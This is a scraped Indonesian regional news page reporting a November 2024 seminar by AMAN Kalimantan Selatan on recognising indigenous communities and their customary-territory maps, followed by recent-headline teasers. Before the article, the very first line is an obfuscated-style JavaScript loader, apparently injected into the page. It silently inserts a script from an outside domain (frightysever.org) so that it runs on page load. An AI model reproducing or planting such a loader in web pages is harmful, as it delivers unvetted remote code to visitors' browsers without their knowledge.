(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

AMAN Dorong Pengakuan Masyarakat Adat Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Aliansi Masyarakat Adat Nusantara (AMAN) Kalimantan Selatan (Kalsel) menggelar seminar nasional terkait tentang masyarakat adat di Royal Jelita Hotel Banjarmasin, Sabtu (2/11/2024) siang.

Seminar berkerja sama dengan mahasiswa magister Hukum Universitas Lambung Mangkurat (ULM) mengangkat tema “Dinamika dan Tantangan Masyarakat Adat di Kalimantan Selatan”.

Narasumber dalam seminar nasional diantaranya Guru Besar ULM dan Ketua Pusat studi HAM ULM Prof Mirza Satria Buaana SH MH Phd, dosen UIN Antasari Dr H Nuril Khasyiin Lc MA.

Kemudian ada Kabag Peraturan Perundang-undangan Pemprov Kalsel Said SH LLM, dan Tommy Indriadi Agustin, Direktorat Advokasi PB AMAN.

Baca juga: Relawan Pemadam Api Hilang Nyawa saat Tugas, Gudang Golden 10 Berkobar Lebih dari 6 Jam

Ketua AMAN Kalsel Rubi mengatakan, tujuan seminar diantaranya untuk meningkatkan pemahaman dan kesadaran akan peran masyarakat, serta agar masyarakat adat di Kalsel bisa dikenal atau diakui keberadaanya. Melibatkan unsur pemerintah, akademsi, praktisi, dan masyarakat adat dapat mencari solusi atas masalah masyarakat adat di Kalsel.

“Kita mendorong kebijakan yang lebih inklusif dan berpihak pada masyarakat adat di Kalsel,” sebutnya.

Ketua AMAN Kalsel mengatakan, pihaknya telah memegang data terkait wilayah masyarakat adat pada 8 kabupaten di Kalsel. Dia berharap data tersebut dapat membantu pemerintah untuk melakukan pengakuan masyarakat adat di Kalsel.

Baca juga: Zainal Fuad Pemuda HSU Hadirkan Sasirangan Pewarna Alami di Panggung IN2MF 2024

“Kita sudah memiliki 53 peta wilayah adat yang luasannya 265 ribu hektare, itu sudah kita siapkan datanya, mudah-mudahan menjadi dokumen oleh pemerintah melakukan pengakuan itu,” kata Rubi.

Sementara itu, Ketua Panitia Seminar Oktarina Sarari SH mengatakan, sengaja melibatkan sejumlah pihak dalam seminar seperti mahasiswa, serta organisasi yang bergerak di bidang adat, lingkungan, HAM, dan kemasyarakatan.

“Yang kita bahas bukan hanya secara norma, tapi juga lapangan empirisnya. Seperti banyak masyarakat adat yang tidak diaikui, padahal Perda sudah ada, namun implementasinya yang sangat lemah,” sebutnya.

(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

2 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

2 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

4 jam ago

Soal Surat Suara Pilwali Banjarbaru, Tak Ada Teknis Jelas dari KPU

KANALKALIMANTAN.COM, BANJARBARU - Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum… Read More

5 jam ago

Belasan Kios Pasar A Yani Pengambangan Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More

8 jam ago

Narkoba 79,3 Kg Sabu Dimusnahkan, Jaringan Fredy Pratama Pakai Jalur Darat

KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) melalui Direktorat Reserse Narkoba (Ditresnarkoba) gagalkan… Read More

23 jam ago

This website uses cookies.